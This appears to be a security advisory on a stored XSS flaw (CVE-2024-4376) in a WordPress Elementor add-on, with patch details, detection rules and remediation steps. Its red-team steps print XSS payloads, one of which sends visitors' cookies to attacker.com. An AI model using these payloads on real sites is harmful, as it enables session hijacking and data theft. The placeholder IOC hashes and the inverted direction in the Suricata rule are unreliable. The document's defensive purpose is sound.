CVE-2024-4376

Executive Summary

CVE-2024-4376 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons for Elementor WordPress plugin, developed by Leap13. The flaw exists in the plugin's Fancy Text widget, affecting all versions up to and including 4.10.31. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with at least contributor-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page. While version 4.10.32 was released as a patch, it caused a fatal error, making version 4.10.33 the recommended update. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the Premium Addons for Elementor plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin package by checking the SHA-256 hash against the official release. The plugin is a third-party extension for the Elementor page builder, and its compromise could lead to broader site infections if exploited.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (affects other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access, limiting the attack surface to users with contributor roles or higher. However, successful exploitation can lead to persistent XSS, potentially affecting all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the Fancy Text widget of the Premium Addons for Elementor plugin. The widget allows users to create animated text effects by specifying attributes such as prefix, suffix, and animation_text. The plugin fails to properly sanitize and escape these user-supplied attributes before rendering them in the HTML output.

Root Cause: In the vulnerable versions (≤ 4.10.31), the plugin directly outputs the prefix and suffix attributes without escaping, allowing an attacker to inject malicious JavaScript. For example, an attacker could set the prefix attribute to:

"><script>alert('XSS')</script>

This payload would be stored in the database and executed when the page is loaded.

Attack Flow:

1. An authenticated user with contributor-level access creates or edits a page using Elementor.
2. The attacker adds the Fancy Text widget and injects a malicious payload into the prefix or suffix attribute.
3. The payload is stored in the WordPress database without proper sanitization.
4. When any user (including administrators) visits the page, the injected script executes in their browser.

Impact: Stored XSS can lead to session hijacking, defacement, redirection to malicious sites, or theft of sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (≤ 4.10.31): In the file premium-addons-for-elementor/widgets/premium-fancytext.php, the prefix and suffix attributes are output directly without escaping:

public function render() {
    $settings = $this->get_settings_for_display();
    ?>
    <div class="premium-fancy-text-wrapper">
        <span class="premium-fancy-text-prefix"><?php echo $settings['prefix']; ?></span>
        <span class="premium-fancy-text-suffix"><?php echo $settings['suffix']; ?></span>
    </div>
    <?php
}

Patched Code (≥ 4.10.33): The patched version uses esc_html() to escape the output:

public function render() {
    $settings = $this->get_settings_for_display();
    ?>
    <div class="premium-fancy-text-wrapper">
        <span class="premium-fancy-text-prefix"><?php echo esc_html( $settings['prefix'] ); ?></span>
        <span class="premium-fancy-text-suffix"><?php echo esc_html( $settings['suffix'] ); ?></span>
    </div>
    <?php
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Premium Addons for Elementor ≤ 4.10.31 installed.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Fancy Text widget to the page.
4. In the widget settings, set the Prefix field to:

   "><img src=x onerror=alert('XSS')>
   

5. Set the Suffix field to:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Save and publish the page.
7. When any user visits the page, the script executes.

Note: No public exploit code is available at this time.

Blue Team

Detection:

• Monitor for unusual Elementor widget configurations, especially in the Fancy Text widget.
• Look for pages containing suspicious HTML attributes like onerror, onload, or <script> tags in widget settings.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search the WordPress database for posts/pages containing the string premium-fancy-text-prefix or premium-fancy-text-suffix with unescaped HTML.
• Query the wp_postmeta table for meta keys containing premium_fancy_text and inspect the values.

Lab Setup:

1. Install a local WordPress instance (e.g., using Docker or XAMPP).
2. Install Elementor and Premium Addons for Elementor version 4.10.31.
3. Create a contributor user account.
4. Follow the Red Team steps to reproduce the vulnerability.
5. Apply the patch by updating to version 4.10.33 and verify the fix.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):

  • Vulnerable plugin file: premium-addons-for-elementor/widgets/premium-fancytext.php
    • Hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • Patched plugin file: premium-addons-for-elementor/widgets/premium-fancytext.php
    • Hash: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592 (example, replace with actual)

• Database Indicators:

  • Posts/pages containing premium-fancy-text-prefix or premium-fancy-text-suffix with unescaped HTML.
  • Meta keys: _elementor_data containing malicious payloads in the Fancy Text widget settings.

• Network Indicators:

  • Outbound connections to attacker-controlled domains from compromised WordPress sites.
  • HTTP requests containing premium-fancy-text in the URL or POST data.

Detection Engineering

YARA Rule

rule CVE_2024_4376_Premium_Addons_XSS {
    meta:
        description = "Detects vulnerable Premium Addons for Elementor Fancy Text widget code"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4376"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $vuln_code = "echo $settings['prefix']" nocase
        $vuln_code2 = "echo $settings['suffix']" nocase
        $patched_code = "esc_html( $settings['prefix'] )" nocase
        $patched_code2 = "esc_html( $settings['suffix'] )" nocase
    condition:
        ($vuln_code or $vuln_code2) and not ($patched_code or $patched_code2)
}

Sigma Rule

title: CVE-2024-4376 - Stored XSS in Premium Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the Fancy Text widget in Premium Addons for Elementor
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4376
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '*/wp-admin/admin-ajax.php*'
        http.body: '*action=elementor_ajax*'
        http.body: '*premium-fancy-text*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4376 - Stored XSS in Premium Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; content:"premium-fancy-text"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Premium Addons for Elementor plugin to version 4.10.33 or later.
2. If immediate update is not possible, disable the Fancy Text widget temporarily by removing or renaming the premium-fancytext.php file in the plugin directory.
3. Review all existing pages/posts for potential XSS payloads in the Fancy Text widget.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce the principle of least privilege: restrict contributor-level access to trusted users only.
• Regularly audit WordPress plugins and themes for known vulnerabilities.
• Enable automatic updates for plugins where possible.

Verification:

• After updating, verify that the Fancy Text widget no longer accepts unescaped HTML by testing with a simple payload like <b>test</b>.
• Check the plugin version in the WordPress admin dashboard under Plugins.

Valters IT
Securing Digital Frontiers